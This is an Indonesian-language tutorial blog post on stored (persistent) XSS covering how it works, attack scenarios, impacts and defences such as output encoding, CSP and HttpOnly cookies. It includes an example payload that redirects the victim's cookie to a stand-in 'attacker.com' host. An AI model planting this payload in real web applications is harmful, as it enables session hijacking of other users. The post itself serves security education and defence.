Stored XSS (Persistent XSS)

Stored XSS → DB → render

1. Definisi Stored XSS

Stored XSS (sering disebut Persistent XSS) adalah jenis kerentanan keamanan web di mana skrip berbahaya (biasanya JavaScript) disuntikkan oleh penyerang ke dalam aplikasi web, disimpan secara permanen di server (misalnya di basis data, komentar, profil pengguna), dan kemudian disajikan kepada pengguna lain yang mengunjungi halaman tersebut.

  • Kata Kunci: Persisten, tersimpan, berbahaya, menyasar banyak pengguna.

2. Cara Kerja Stored XSS

  1. Injeksi: Penyerang mengirimkan skrip berbahaya (contoh: <script>alert('XSS')</script>) melalui formulir input (komentar, profil, nama, dll).
  2. Penyimpanan: Server menyimpan input berbahaya tersebut ke dalam basis data (database) tanpa melakukan sanitasi atau validasi.
  3. Eksekusi: Pengguna lain membuka halaman web yang menampilkan data dari basis data tersebut. Browser pengguna mengeksekusi skrip berbahaya karena dianggap sebagai konten sah dari situs.

3. Contoh Skenario Serangan

  • Kolom Komentar/Forum: Penyerang meninggalkan komentar berisi kode JavaScript berbahaya. Setiap kali pengguna lain membaca komentar tersebut, skrip akan berjalan di browser mereka.
  • Profil Pengguna: Penyerang mengubah nama tampilan atau alamat profil mereka menjadi skrip, lalu menunggu admin atau pengguna lain membuka profil tersebut.
  • Pesan Chat: Aplikasi obrolan yang tidak menyaring input dapat menjalankan skrip yang dikirim oleh penyerang langsung di layar pengguna lain.

Contoh Payload:

html

<script>document.location='http://attacker.com' + document.cookie;</script>

Skrip di atas akan mencuri cookie pengguna dan mengirimkannya ke server penyerang.

4. Dampak Stored XSS

Stored XSS dianggap sebagai jenis XSS dengan risiko tertinggi karena dampaknya bisa mencakup:

  • Pencurian Sesi (Session Hijacking): Mengambil cookie sesi dan mengambil alih akun pengguna.
  • Penyebaran Malware: Mengarahkan pengguna ke situs berbahaya.
  • Defacement: Mengubah tampilan situs web.
  • Pencurian Informasi Sensitif: Mengambil kredensial login atau data pribadi.

5. Pencegahan Stored XSS

Pencegahan utama berfokus pada validasi input dan encoding output:

  • Validasi Input (Input Validation): Periksa dan filter semua data yang dimasukkan pengguna. Hanya izinkan input yang sesuai (misalnya, nama hanya huruf).
  • Encoding Output (Output Encoding): Ubah karakter khusus menjadi entitas HTML sebelum ditampilkan ke browser. Ini memastikan browser memperlakukan data sebagai teks biasa, bukan skrip yang bisa dieksekusi.
    • < menjadi &lt;
    • > menjadi &gt;
  • Gunakan Content Security Policy (CSP): Header HTTP yang memberi tahu browser sumber daya mana yang diizinkan untuk dimuat, sehingga membatasi skrip berbahaya.
  • Set Cookie ke HttpOnly: Mencegah skrip JavaScript mengakses cookie sesi, sehingga mengurangi risiko pencurian sesi.

6. Perbedaan: Stored XSS vs Reflected XSS

  • Stored XSS: Skrip disimpan di server dan mengenai pengguna secara permanen.
  • Reflected XSS: Skrip tidak disimpan, hanya “dipantulkan” (reflected) melalui link berbahaya (misal: di URL).

Leave a Reply

Your email address will not be published. Required fields are marked *